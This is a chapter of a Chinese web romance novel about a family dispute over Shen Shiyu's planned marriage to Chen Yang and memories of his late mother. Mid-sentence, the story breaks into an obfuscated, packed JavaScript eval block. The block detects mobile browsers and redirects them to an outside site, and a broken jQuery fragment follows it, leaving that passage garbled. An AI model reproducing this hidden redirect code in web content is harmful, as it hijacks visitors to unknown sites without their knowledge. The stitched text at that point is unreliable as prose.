21.过往
    安雅。

    这个如同禁咒般的名字,烙在他心底,封印着一个永恒的长夜。

    当它猛地从易琴芳口中说出来,沈清源像被施了定身术般,脸色晦暗下去,无边的痛意在深处翻涌。

    僵持中,纷乱的脚步声传来。沈清源抬头望过去,八分相似的面容,令他产生片刻的恍惚,不自觉地往女人的方向迎了两步。

    但很快,他清醒过来,停住脚站在原地。

    安韵是跟着周岐跑来的。他言简意赅地将事情给她说了,她便知道这回不见血怕是收不了场。

    她心里着急,偏偏住的院子离家祠最远,一路奔过来,看见沈时昱满背猩红,只觉得喉间冲上来一股铁锈味。她走上前颤抖着伸出手,却又不敢去触碰。

    刚想说话,就是一阵猛咳,瘦削的肩膀抖得像秋日枝头的枯叶,周岐赶紧将人扶到一旁坐下。

    经历刚刚一番折腾,沈清源脸色很不好看,对着安韵还是强压着情绪:“你怎么过来了?回去吧,待会儿又该哮喘了。”

    “我没事,”安韵好不容易压住咳嗽,摇了摇头,鼻音还有些重,“姐夫,时昱纵然再有不对,你也不该下这么重的手啊。”

    “你们个个都来劝我,怎么不看看他做了什么混账事?”

    沈清源话音刚落,就听对面坐着的易琴芳冷哼一声。

    担心自己老母亲又重提旧事,他话锋一转,换了个说法:“别的不说,就算不论家世,那个陈泱,是什么好姑娘吗?我听清河说,网上跟她传绯闻的男人可不止一两个。”

    听见这话,一直沉默不语的沈时昱强忍着痛想争辩。安韵见了连忙把话接过来:

    “都说是绯闻了,那网上的东西能全信?陈泱是个好姑娘,出身也好,只是姐夫你不知道罢了。”说完这话,安韵使了个眼色,周岐立刻心领神会,将一早准备的背调资料递给沈清源。

    “陈泱是我和老太太都见过的。小姑娘人美心善,性格乖巧又懂礼数,谁见了都喜欢。”

    狐疑地接过文件夹,听到这话,沈清源斜瞟了她一眼:“你们什么时候见的?”

    “你和二哥那时候忙着集团的事情,所以不知道。泱泱是时昱的第一个病人,那两年经常往来这里。”

    沈清源一边听她说,一边翻看着手里的资料,表情渐渐松动。

    易琴芳见状便让周岐去把沈时昱扶起来,紧跟着安韵的话补了两句:“她父亲单鹤鸣是首屈一指的国画大师,你爸生前喜欢他的画,还时不时叫到家里来聊天。后来听说这小姑娘身体不大好,就说送来让时昱给瞧瞧。说起来,我们两家也算有渊源。”

    一目十行地看完以后,沈清源将文件夹撂在桌上。听了这话面上也没什么表情,只是卸下手腕上的沉香串盘了起来,目光沉沉地看着沈时昱。

    安韵见沈时昱虽然坐着,往日劲挺的腰身此时因为剧痛而微微佝偻,手握成拳撑在两侧扶手上,眉心紧锁,汗水不住地往下流。

    刚刚撞进眼底的那幕血红又在脑海里浮现,她的心揪成一团,说出口的话就多了分责怪:“时昱向来谨慎沉稳,更何况是自己的婚姻大事,他又怎么会胡来。姐夫这次是你武断了。”

    沈清源轻哼一声:“就算像你们说的,陈泱本质不坏,家世勉强匹配。那又如何,她那个职业,要怎么做他夫人?沈时昱我问你,你选的这个人会为你牺牲她的事业,为这个家族牺牲她的理想吗?”

    牺牲?他也配说这话!

    沈时昱倏地抬起头,眼底猩红一片。

    他声音嘶哑,一字一句像冬日突然断裂的冰棱,砸在地上,碎裂声穿透整座祠堂:“我才不要她牺牲。我只要她长长久久地陪着我,而不是为一个莫须有的身份献祭!”

    此话一出,在座的人脸色都变了变。莫名的,大家都明白,沈时昱口中的“她”不是陈泱,而是安雅。

    安雅的死是沈家的不可说,是横亘在父子俩之间的天堑。

    谁也不提,这位郁郁而终的家主夫人如何被爱情困死,错付一生。好像不提的话,日子还能过下去。

    如今疮疤被揭开,沈清源才顿悟,沈时昱恨他。这么多年,一直恨着他。

    意识到这一点,他死死捏紧手串又蓦地松开,像被抽了魂似的,眼睛有些失焦地盯着地面。

    易琴芳重重叹出一口气,强撑起精神收拾残局:“周邈,叫几个人来把少爷扶回去,让医馆的人也赶紧过来。”

    说完,她杵着拐走到沈时昱身边,拿出丝绢给他擦了擦汗,语重心长地说道:

    “越大越没规矩,什么话也敢在家祠里说。婚事奶奶给你做主了,安心养伤。养好了来给祖宗上柱香,赔个不是。给你妈也敬一柱,这通胡闹,她在上面看着该心疼了。”

    低垂的长睫颤动,沈时昱苦涩一笑。

    她会心疼吗?她不会的,否则当初也不会扔下自己走得那么决绝。

    -

    几天后,安韵拿了东西来找沈时昱,人已经坐在书桌前了,手边还堆着一叠文件。他单手撑着额际,脸色因病气显得苍白,宽松的青玉色绸衫下透出纱布的纹理。

    “伤都好了吗,就开始工作。”

    “已经结痂了,不妨碍,”取下银丝眼镜,他转了转发僵的脖颈,“小姨怎么来了?”

    “来给你送好消息,”安韵将手中的桃花心木制锦盒放在桌上,“婚书在里面,是你爸亲手写的。差个日期,这得问过女方八字,请人算个好时候。”

    沈时昱淡淡地瞟了一眼,说道:“麻烦小姨了。”

    安韵在对面坐下,倒了杯茶。雾腾腾的热气升起,在她眼底氤氲开水光,柔柔地,勾出旧事。

    “姐姐之前也有个一模一样的盒子,收在保险箱里,我笑了她好久。”

    沈时昱没有接话,她又自顾自地说下去:“时昱,你知道吗?我们虽是孪生姐妹,我在照镜子的时候却不怎么想起她。倒是看着你,就总觉得她还在身边。”

    看了眼沈时昱,他皱着眉,手指规律地敲击着桌面。安韵嘴角弯了弯,就连不耐烦时的小动作都一模一样。

    “你这脾气,真的很像她。看着温和,其实执拗得要死。姐姐那时是国乐最好的琵琶手,年纪轻轻就做了首席。漂亮,天资又好,业内很看好她。”

    安韵说这些话时,沈时昱脑海里只有个模糊的身影。消瘦、疏离、沉默寡言。他很少见她笑,也从未听她弹过琵琶。安韵口中的那个人,令他感觉陌生。

    他面无表情地坐在那儿,不阻止,也不好奇。安韵暗叹一声,继续说下去:

    “但她的才华啊、前程啊,嫁到沈家就都没用了。她不能做她自己,她得做沈清源的妻子,沈家的夫人,但她最后还是嫁了。”

    “姐姐说,权衡利弊就意味着有得选,可是她没有,无论重来多少次,她的选项里都只有沈清源。现在你为陈泱受这些罪,是不是也能明白她?真爱一个人就是没得选。”

    爱?不,他怎么会明白她。情深不寿,他和陈泱之间,没有爱这回事。

    沈时昱抬眸看过去,眼底一片清明,像听了个不痛不痒的故事。

    “长辈的过往,我不好随意评价。如果没有其他要交代的,小姨就先回去吧。我接下来有个线上会议,不能陪你聊了。”

    他赶人的意图太明显,安韵也不恼,嘱咐了几句换药养伤的事情,便起身走了。

    她离开没多久,周岐拿着一只文件袋走进来,刚进门视线便被桌上的锦盒所吸引。

    “这是什么?”

    “婚书。”

    周岐愣了愣,下一秒咧开嘴,笑着问道:“家主同意了?”

    沈时昱斜了他一眼,没说话,满脸写着“不然呢”。

    “也是,你这又是釜底抽薪又是苦肉计的,谁能算得过你啊?”

    没心情和他说笑,沈时昱闭上眼揉了揉眉心,不耐道:“有事说事。”

    嘶,这少爷今天吃火药了?

    周岐将手中的文件袋放在桌上,“喏,Rachel让吴叔带过来的,说是泱泱那天落在会馆的。Rachel没有她联系方式,只能托你转交了。”

    听见是陈泱的东西,沈时昱倦懒地抬眼,拿过来捏了捏,里面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915142|136201||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    装着一个长方形、手掌大小的玩意儿。

    “是什么?”

    周岐耸耸肩,表示不知道,“你老婆的东西我怎么好擅自打开看?你好奇就自己看看呗。”

    手指一紧,文件袋发出窸窣的声音。沈时昱若无其事地放下,淡声道:“说话注意点。”

    “婚书都拿到了,这还不是早晚的事。”周岐不以为意,手指转动着打火机,笑着打趣。

    想起陈泱的要求,沈时昱表情严肃地交代:“她不想公开,你口风紧些,之后媒体那边也叫人看牢了。”

    “地下恋啊,玩这么刺激,”沈时昱冷眼看过来,周岐立刻敛起痞笑,双手举起讨饶,“好好好,说正经的。你不是让我盯着沈清河吗?果然和你想的一样,族会第二天,那边就撤资了,银星现在到处筹钱。”

    沈时昱对此并不意外,甚至有些意兴阑珊。

    “嗯,继续盯着吧,他不会轻易收手。”

    -

    陈泱盯着眼前的瓷碗,手机亮了暗,暗了亮,心里天人交战。

    半小时前她喝完了最后一副药,按沈时昱的交代,她应该约复诊,找他做艾灸才对。但一想起上次临走前那句话,她就怎么也按不下拨号键。

    什么叫应付不了她?

    陈泱知道自己不该多想,沈时昱这个千年铁树有多冷情,她很清楚,这话绝对不会有其他意思。

    但无论理智如何告诫,心跳还是很诚实地乱序。

    烦躁地挠乱头发,她复制了电话号码,粘贴到搜索框里。怎么说也是要做两年夫妻的,加个微信不过分吧?

    两秒后,搜索页面跳出一个冰川头像。陈泱还不太确定是不是,想看看朋友圈,点进去一看,好嘛,没有朋友圈。

    是他了,一条朋友圈不发,非常契合这人毫无分享欲的性格。

    微信提示音响起的时候,沈时昱刚好开完会。他点开通讯录的小红点,验证信息那一栏写着:陈泱。

    不自觉地勾唇,她之前总是发短信,沈时昱知道她那点儿心思。单一的联系方式,就像他们点到为止的关系,随时能够后撤的距离。

    她这些无伤大雅的坚持,他都由着她,所以也没提加微信的事。

    但好几天没联系,突然看见她主动迈出一步,仿佛被素不亲人的小猫蹭了蹭,心脏某一处柔软地陷落。

    通过验证后,他注意到她的头像。莫名熟悉的感觉,沈时昱微眯起眼,点开了小图。

    郁郁葱葱的青绿里,女孩坐在秋千上笑容恣意,细碎的光落在她的鼻尖、发梢和裙角。她荡向空中,有着和夏天一样蓬勃的生命力。

    难怪熟悉,这是陈泱18岁生日那天,他亲自拍下的。

    她一直很喜欢自己那个院子,尤其中意凉亭边那棵百年老树。在树下做个秋千,某天她突然提了这个想法,那时他觉得这东西无用又无趣,想也不想就拒绝了。

    陈泱却不气馁,次次来,次次提,被拒绝也不生气,又兴致勃勃地聊别的事情。

    直到有天,她生了场病。

    原本经过一年调养,她身体已经好了很多,但扛不住高三压力太大,又发起高烧。

    她怕耽误复习,拖了半个月也不说。直到在课上晕倒,才被送过来,病气沉沉,人都快瘦没了。

    沈时昱给她扎针的时候,她虚弱地睁开眼,目光涣散,没了往日灵动的光彩。

    他心里酸软,但作为医生,嘴上还是没饶过她:“自己身体什么情况不清楚吗?早点来何至于搞成这样?调养这么久,怎么还染上讳疾忌医的毛病了?”

    她低着头,模样乖顺地任他批评。等他说完后,才小小声地说了一句:“沈医生,我好难受。”

    因为发烧引起咽喉发炎,她的声音嘶哑,像哭过似的。他长叹一口气,扎针的手轻了又轻,语气也放柔许多:“以后不舒服要跟我说。”

    “嗯。”她恹恹地应着,沮丧又委屈。

    良久后,沈时昱取下银针。

    临走前他轻弹她额头,眼里藏着无尽的包容和温柔:“好好休息。等考完试,给你装个秋千。”